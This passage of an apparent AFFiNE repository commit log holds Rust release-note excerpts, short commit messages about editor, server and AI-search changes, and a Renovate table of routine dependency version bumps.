-   [Enable by default the `LSX` target feature for LoongArch Linux targets](https://redirect.github.com/rust-lang/rust/pull/132140)
-   [The unstable `-Zprofile` flag (“gcov-style” coverage instrumentation) has been removed.](https://redirect.github.com/rust-lang/rust/pull/131829) This does not affect the stable flags for coverage instrumentation (`-Cinstrument-coverage`) and profile-guided optimization (`-Cprofile-generate`, `-Cprofile-use`), which are unrelated and remain available.
-   Support for the target named `wasm32-wasi` has been removed as the target is now named `wasm32-wasip1`. This completes the [transition](https://redirect.github.com/rust-lang/compiler-team/issues/607) [plan](https://redirect.github.com/rust-lang/compiler-team/issues/695) for this target following [the introduction of `wasm32-wasip1`](https://redirect.github.com/rust-lang/rust/pull/120468) in Rust 1.78. Compiler warnings on [use of `wasm32-wasi`](https://redirect.github.com/rust-lang/rust/pull/126662) introduced in Rust 1.81 are now gone as well as the target is removed.
-   [The syntax `&pin (mut|const) T` is now parsed as a type which in theory could affect macro expansion results in some edge cases](https://redirect.github.com/rust-lang/rust/pull/130635#issuecomment-2375462821)
-   [Legacy syntax for calling `std::arch` functions is no longer permitted to declare items or bodies (such as closures, inline consts, or async blocks).](https://redirect.github.com/rust-lang/rust/pull/130443#issuecomment-2445678945)
-   The `wasm32-unknown-emscripten` target's binary release of the standard library is now [built with the latest emsdk 3.1.68](https://redirect.github.com/rust-lang/rust/pull/131533), which fixes an ABI-incompatibility with Emscripten >= 3.1.42. If you are locally using a version of emsdk with an incompatible ABI (e.g. before 3.1.42 or a future one), you should build your code with `-Zbuild-std` to ensure that `std` uses the correct ABI.
-   [Declaring functions with a calling convention not supported on the current target now triggers a hard error](https://redirect.github.com/rust-lang/rust/pull/129935)
-   [The next-generation trait solver is now enabled for coherence, fixing multiple soundness issues](https://redirect.github.com/rust-lang/rust/pull/130654)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-10 03:31:42 +00:00
forehalo 1b6f0e78c4 chore(server): move server tests folder (#9614) 2025-01-10 02:38:10 +00:00
zzj3720 8e8058a44c feat(editor): support pasting Excel data into database block (#9618)
close: BS-2338
2025-01-09 14:35:19 +00:00
Saul-Mirone 6feb4def2f fix(editor): exisiting slice import should be move instead of add (#9616)
Closes: [BS-2339](https://linear.app/affine-design/issue/BS-2339/%E6%8B%96%E6%8B%BD%E9%87%8A%E6%94%BE%E5%90%8E%E7%9A%84%E4%BD%8D%E7%BD%AE%E4%B8%8D%E5%AF%B9)
2025-01-09 12:14:54 +00:00
Saul-Mirone 126ab18967 feat(editor): selection as store extension (#9605) 2025-01-09 11:49:23 +00:00
akumatus c2d8c23f13 fix(core): update chat session after session created or reused (#9613)
For an existing AI chat session, the prompt will not be updated when the front-end calls the `createChatSession` gql interface. Thus update it manually here.

In the future, the architecture needs to be adjusted to support multiple LLM model calls in one chat session.
2025-01-09 10:56:24 +00:00
pengx17 c0ed78dc66 fix(core): split view should only be dragged by the handle (#9610)
fix BS-2354
also fix AF-2096
2025-01-09 10:40:25 +00:00
darkskygit 755cebfb18 chore(server): not allow to update action's prompt (#9615) 2025-01-09 10:18:53 +00:00
Brooooooklyn fed0156f22 style: add @typescript-eslint/return-await rule (#9612) 2025-01-09 09:28:59 +00:00
forehalo 6d29f80894 feat(server): user model (#9608) 2025-01-09 09:14:02 +00:00
darkskygit ca3537fca3 fix(server): missing perplexity secret (#9607) 2025-01-09 08:56:59 +00:00
zzj3720 b23e980250 fix(editor): prototype-polluting assignment (#9606) 2025-01-09 08:20:26 +00:00
pengx17 f78857bb11 feat(editor): add more open doc options to editor toolbar (#9588)
fix AF-2036, AF-2092
2025-01-09 08:04:21 +00:00
doodlewind 890a962196 chore(editor): fix playground vscode tsc warning (#9603) 2025-01-09 07:49:16 +00:00
zzj3720 f46a7a073a fix(editor): component name for the mobile menu is incorrect (#9604) 2025-01-09 07:32:49 +00:00
Yifeng Wang cac0b7fd66 refactor(editor): remove default entry (#9600) 2025-01-09 14:01:48 +08:00
Saul-Mirone 422bac6cbe refactor(editor): remove readonly in awareness (#9597) 2025-01-09 05:15:35 +00:00
Saul-Mirone d21ef47ae8 chore(editor): rename std.doc to std.store (#9596) 2025-01-09 04:16:28 +00:00
akumatus 58ce86533e feat(core): support ai network search (#9357)
### What Changed?
- Add `PerplexityProvider` in backend.
- Update session prompt name if user toggle network search mode in chat panel.
- Add experimental flag for AI network search feature.
- Add unit tests and e2e tests.

Search results are streamed and appear word for word:

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/56f6ec7b-4b21-405f-9612-43e083f6fb84.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/56f6ec7b-4b21-405f-9612-43e083f6fb84.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/56f6ec7b-4b21-405f-9612-43e083f6fb84.mov">录屏2024-12-27 18.58.40.mov</video>

Click the little globe icon to manually turn on/off Internet search:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/778f1406-bf29-498e-a90d-7dad813392d1.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/778f1406-bf29-498e-a90d-7dad813392d1.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/778f1406-bf29-498e-a90d-7dad813392d1.mov">录屏2024-12-27 19.01.16.mov</video>

When there is an image, it will automatically switch to the openai model:

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/56431d8e-75e1-4d84-ab4a-b6636042cc6a.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/56431d8e-75e1-4d84-ab4a-b6636042cc6a.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/56431d8e-75e1-4d84-ab4a-b6636042cc6a.mov">录屏2024-12-27 19.02.13.mov</video>
2025-01-09 04:00:59 +00:00
Yifeng Wang 4f10457815 refactor(editor): remove legacy console formatter (#9599) 2025-01-09 12:00:08 +08:00
doodlewind e269cce141 refactor(editor): playground doc collection typing migration (#9593) 2025-01-09 03:07:43 +00:00
renovate 5ff2254c83 chore: bump up all non-major dependencies (#9494)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@apollo/server](https://redirect.github.com/apollographql/apollo-server) ([source](https://redirect.github.com/apollographql/apollo-server/tree/HEAD/packages/server)) | [`4.11.2` -> `4.11.3`](https://renovatebot.com/diffs/npm/@apollo%2fserver/4.11.2/4.11.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@apollo%2fserver/4.11.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@apollo%2fserver/4.11.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@apollo%2fserver/4.11.2/4.11.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@apollo%2fserver/4.11.2/4.11.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.717.0` -> `3.723.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.717.0/3.723.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.723.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.723.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.717.0/3.723.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.717.0/3.723.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@floating-ui/dom](https://floating-ui.com) ([source](https://redirect.github.com/floating-ui/floating-ui/tree/HEAD/packages/dom)) | [`1.6.12` -> `1.6.13`](https://renovatebot.com/diffs/npm/@floating-ui%2fdom/1.6.12/1.6.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@floating-ui%2fdom/1.6.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@floating-ui%2fdom/1.6.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@floating-ui%2fdom/1.6.12/1.6.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@floating-ui%2fdom/1.6.12/1.6.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@lottiefiles/dotlottie-wc](https://redirect.github.com/LottieFiles/dotlottie-web) ([source](https://redirect.github.com/LottieFiles/dotlottie-web/tree/HEAD/packages/wc)) | [`0.4.1` -> `0.4.2`](https://renovatebot.com/diffs/npm/@lottiefiles%2fdotlottie-wc/0.4.1/0.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@lottiefiles%2fdotlottie-wc/0.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@lottiefiles%2fdotlottie-wc/0.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@lottiefiles%2fdotlottie-wc/0.4.1/0.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@lottiefiles%2fdotlottie-wc/0.4.1/0.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@opentelemetry/host-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/opentelemetry-host-metrics#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`0.35.4` -> `0.35.5`](https://renovatebot.com/diffs/npm/@opentelemetry%2fhost-metrics/0.35.4/0.35.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fhost-metrics/0.35.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fhost-metrics/0.35.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fhost-metrics/0.35.4/0.35.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fhost-metrics/0.35.4/0.35.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.47.0` -> `8.48.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.47.0/8.48.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.47.0/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.47.0/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.47.0` -> `8.48.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.47.0/8.48.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.47.0/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.47.0/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.12` -> `1.0.13`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.12/1.0.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.12/1.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.12/1.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.4` -> `1.10.6`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.4/1.10.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.4/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.4/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/mixpanel-browser](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/mixpanel-browser) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/mixpanel-browser)) | [`2.50.2` -> `2.51.0`](https://renovatebot.com/diffs/npm/@types%2fmixpanel-browser/2.50.2/2.51.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fmixpanel-browser/2.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fmixpanel-browser/2.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fmixpanel-browser/2.50.2/2.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fmixpanel-browser/2.50.2/2.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.11` -> `20.17.12`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.11/20.17.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.11/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.11/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.11` -> `20.17.12`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.11/20.17.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.11/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.11/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.2` -> `19.0.4`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.2/19.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.2/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.2/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [core-js](https://redirect.github.com/zloirock/core-js) ([source](https://redirect.github.com/zloirock/core-js/tree/HEAD/packages/core-js)) | [`3.39.0` -> `3.40.0`](https://renovatebot.com/diffs/npm/core-js/3.39.0/3.40.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/core-js/3.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/core-js/3.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/core-js/3.39.0/3.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/core-js/3.39.0/3.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [electron](https://redirect.github.com/electron/electron) | [`33.3.0` -> `33.3.1`](https://renovatebot.com/diffs/npm/electron/33.3.0/33.3.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/33.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/33.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/33.3.0/33.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/33.3.0/33.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [embla-carousel-react](https://www.embla-carousel.com) ([source](https://redirect.github.com/davidjerleke/embla-carousel)) | [`8.5.1` -> `8.5.2`](https://renovatebot.com/diffs/npm/embla-carousel-react/8.5.1/8.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/embla-carousel-react/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/embla-carousel-react/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/embla-carousel-react/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/embla-carousel-react/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.3.0` -> `16.5.2`](https://renovatebot.com/diffs/npm/happy-dom/16.3.0/16.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.3.0/16.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.3.0/16.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.1.0` -> `9.1.1`](https://renovatebot.com/diffs/npm/html-validate/9.1.0/9.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.1.0/9.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.1.0/9.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`24.2.0` -> `24.2.1`](https://renovatebot.com/diffs/npm/i18next/24.2.0/24.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/24.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/24.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/24.2.0/24.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/24.2.0/24.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [input-otp](https://input-otp.rodz.dev/) ([source](https://redirect.github.com/guilhermerodz/input-otp/tree/HEAD/packages/input-otp)) | [`1.4.1` -> `1.4.2`](https://renovatebot.com/diffs/npm/input-otp/1.4.1/1.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/input-otp/1.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/input-otp/1.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/input-otp/1.4.1/1.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/input-otp/1.4.1/1.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [link-preview-js](https://redirect.github.com/ospfranco/link-preview-js) | [`3.0.12` -> `3.0.13`](https://renovatebot.com/diffs/npm/link-preview-js/3.0.12/3.0.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/link-preview-js/3.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/link-preview-js/3.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/link-preview-js/3.0.12/3.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/link-preview-js/3.0.12/3.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.4` -> `15.0.6`](https://renovatebot.com/diffs/npm/marked/15.0.4/15.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/15.0.4/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/15.0.4/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.24` -> `3.0.0-alpha.26` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.24/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.24/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.22` -> `3.0.0-alpha.23` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.22/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.22/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.77.0` -> `4.77.4`](https://renovatebot.com/diffs/npm/openai/4.77.0/4.77.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.77.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.77.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.77.0/4.77.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.77.0/4.77.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [serde_json](https://redirect.github.com/serde-rs/json) | `1.0.134` -> `1.0.135` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde_json/1.0.135?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde_json/1.0.135?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde_json/1.0.134/1.0.135?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde_json/1.0.134/1.0.135?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
